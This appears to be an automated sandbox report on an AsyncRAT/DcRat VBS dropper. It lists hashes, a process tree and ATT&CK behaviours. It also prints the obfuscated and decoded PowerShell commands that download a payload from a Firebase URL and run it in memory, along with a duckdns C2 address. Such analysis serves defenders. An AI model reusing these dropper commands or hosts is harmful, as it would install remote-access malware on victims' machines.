Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-07-2024 16:51

General

  • Target

    AlertasyNotificaciones.vbs

  • Size

    2.6MB

  • MD5

    f85469b805e7ccd3da7f69df07566f0d

  • SHA1

    e9d9b0ddda2aa1e0345b1a88a491f0ee43bdcdc0

  • SHA256

    ef5fa3f193d8205806fc945aea79ea2aeddb8845d1d9e81e22e57370db09c426

  • SHA512

    4bc1d37bce587cd3a2ba02bd0341f7a718e5b8b974b769a46c12fbb1ca8df4424955436c3ae40b06cfaa3b9ad2085ed712ca77e1df5e0e34fffcf244b05b121f

  • SSDEEP

    1536:bPPPPPPPPP9PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP5:/f

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

envioagosto29.duckdns.org:2020

Mutex

DcRatMutex_qwqdanchun

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AlertasyNotificaciones.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4480
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bi▒GI▒bQBw▒G8▒I▒▒9▒C▒▒Jw▒w▒Cc▒Ow▒k▒GU▒Z▒Br▒GQ▒Yw▒g▒D0▒I▒▒n▒CU▒c▒B6▒EE▒YwBP▒Gc▒SQBu▒E0▒cg▒l▒Cc▒OwBb▒EI▒eQB0▒GU▒WwBd▒F0▒I▒▒k▒Hg▒bwB3▒HE▒aQ▒g▒D0▒I▒Bb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QwBv▒G4▒dgBl▒HI▒d▒Bd▒Do▒OgBG▒HI▒bwBt▒EI▒YQBz▒GU▒Ng▒0▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwBm▒Gk▒cgBl▒GI▒YQBz▒GU▒cwB0▒G8▒cgBh▒Gc▒ZQ▒u▒Gc▒bwBv▒Gc▒b▒Bl▒GE▒c▒Bp▒HM▒LgBj▒G8▒bQ▒v▒HY▒M▒▒v▒GI▒LwBy▒G8▒Z▒By▒Gk▒YQBr▒GQ▒LQ▒4▒DQ▒MQ▒z▒GQ▒LgBh▒H▒▒c▒Bz▒H▒▒bwB0▒C4▒YwBv▒G0▒LwBv▒C8▒Z▒Bs▒Gw▒JQ▒y▒EY▒Z▒Bs▒Gw▒JQ▒y▒D▒▒S▒Bv▒H▒▒ZQ▒u▒HQ▒e▒B0▒D8▒YQBs▒HQ▒PQBt▒GU▒Z▒Bp▒GE▒JgB0▒G8▒awBl▒G4▒PQ▒2▒DE▒Yw▒4▒DI▒OQBm▒DY▒LQBl▒DE▒OQ▒2▒C0▒N▒▒5▒GU▒O▒▒t▒GI▒N▒Bm▒GY▒LQ▒w▒DQ▒MQ▒x▒DM▒N▒▒1▒Dc▒NwBm▒GY▒ZQ▒n▒Ck▒KQ▒7▒Fs▒cwB5▒HM▒d▒Bl▒G0▒LgBB▒H▒▒c▒BE▒G8▒bQBh▒Gk▒bgBd▒Do▒OgBD▒HU▒cgBy▒GU▒bgB0▒EQ▒bwBt▒GE▒aQBu▒C4▒T▒Bv▒GE▒Z▒▒o▒CQ▒e▒Bv▒Hc▒cQBp▒Ck▒LgBH▒GU▒d▒BU▒Hk▒c▒Bl▒Cg▒JwBD▒Gw▒YQBz▒HM▒T▒Bp▒GI▒cgBh▒HI▒eQ▒z▒C4▒QwBs▒GE▒cwBz▒DE▒Jw▒p▒C4▒RwBl▒HQ▒TQBl▒HQ▒a▒Bv▒GQ▒K▒▒n▒Fo▒e▒BL▒Eg▒Rw▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒JwB0▒Hg▒d▒▒u▒G8▒aQB2▒G4▒ZQ▒v▒HM▒Z▒Bh▒G8▒b▒Bu▒Hc▒bwBk▒C8▒cwBh▒Gc▒cgBh▒GM▒cwBl▒GQ▒LwBj▒GQ▒cwBh▒GM▒Z▒▒v▒Gc▒cgBv▒C4▒d▒Bl▒Gs▒YwB1▒GI▒d▒Bp▒GI▒Lw▒v▒Do▒cwBw▒HQ▒d▒Bo▒Cc▒I▒▒s▒C▒▒J▒Bl▒GQ▒awBk▒GM▒I▒▒s▒C▒▒JwBf▒F8▒XwBf▒F8▒XwBf▒F8▒ZgBn▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒Jw▒s▒C▒▒J▒Bi▒GI▒bQBw▒G8▒L▒▒g▒Cc▒MQ▒n▒Cw▒I▒▒n▒FI▒bwBk▒GE▒Jw▒g▒Ck▒KQ▒7▒▒==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\AlertasyNotificaciones.vbs');powershell -command $KByHL;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2708
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$bbmpo = '0';$edkdc = 'C:\Users\Admin\AppData\Local\Temp\AlertasyNotificaciones.vbs';[Byte[]] $xowqi = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe'));[system.AppDomain]::CurrentDomain.Load($xowqi).GetType('ClassLibrary3.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.oivne/sdaolnwod/sagracsed/cdsacd/gro.tekcubtib//:sptth' , $edkdc , '________fg_______________-------------', $bbmpo, '1', 'Roda' ));"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4680
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4736
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpC5FF.tmp.bat""
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4372
            • C:\Windows\SysWOW64\timeout.exe
              timeout 3
              6⤵
              • System Location Discovery: System Language Discovery
              • Delays execution with timeout.exe
              PID:2228

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    5caad758326454b5788ec35315c4c304

    SHA1

    3aef8dba8042662a7fcf97e51047dc636b4d4724

    SHA256

    83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

    SHA512

    4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r1zcyjog.czc.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmpC5FF.tmp.bat

    Filesize

    171B

    MD5

    14e1cb5383666353965c22610d67abba

    SHA1

    6b96a507980def93dbe29ed4c80915012d9c0f25

    SHA256

    ad8fe15e23453e2da4009f5747f346a5e520f468ea9111efaf8625d102132b49

    SHA512

    0c8ad9d431f94280d5184ae2d27ce54a036043238b952a8a001afb73ce25a9bceb3a5eaa64c7dd69f67129ed763c23532de0f7a2888066cf53d6fabfd27eb838

  • memory/2708-12-0x00007FFFF12B0000-0x00007FFFF1D71000-memory.dmp

    Filesize

    10.8MB

  • memory/2708-1-0x0000021C435E0000-0x0000021C43602000-memory.dmp

    Filesize

    136KB

  • memory/2708-0-0x00007FFFF12B3000-0x00007FFFF12B5000-memory.dmp

    Filesize

    8KB

  • memory/2708-11-0x00007FFFF12B0000-0x00007FFFF1D71000-memory.dmp

    Filesize

    10.8MB

  • memory/2708-30-0x00007FFFF12B0000-0x00007FFFF1D71000-memory.dmp

    Filesize

    10.8MB

  • memory/4680-22-0x00000204F2AF0000-0x00000204F2AF8000-memory.dmp

    Filesize

    32KB

  • memory/4680-23-0x00000204F2B00000-0x00000204F2B0A000-memory.dmp

    Filesize

    40KB

  • memory/4736-33-0x0000000005A80000-0x0000000005B1C000-memory.dmp

    Filesize

    624KB

  • memory/4736-34-0x00000000060D0000-0x0000000006674000-memory.dmp

    Filesize

    5.6MB

  • memory/4736-35-0x0000000005780000-0x00000000057E6000-memory.dmp

    Filesize

    408KB

  • memory/4736-36-0x0000000006C80000-0x0000000006CF6000-memory.dmp

    Filesize

    472KB

  • memory/4736-37-0x0000000006C00000-0x0000000006C64000-memory.dmp

    Filesize

    400KB

  • memory/4736-38-0x0000000006D20000-0x0000000006D3E000-memory.dmp

    Filesize

    120KB

  • memory/4736-24-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB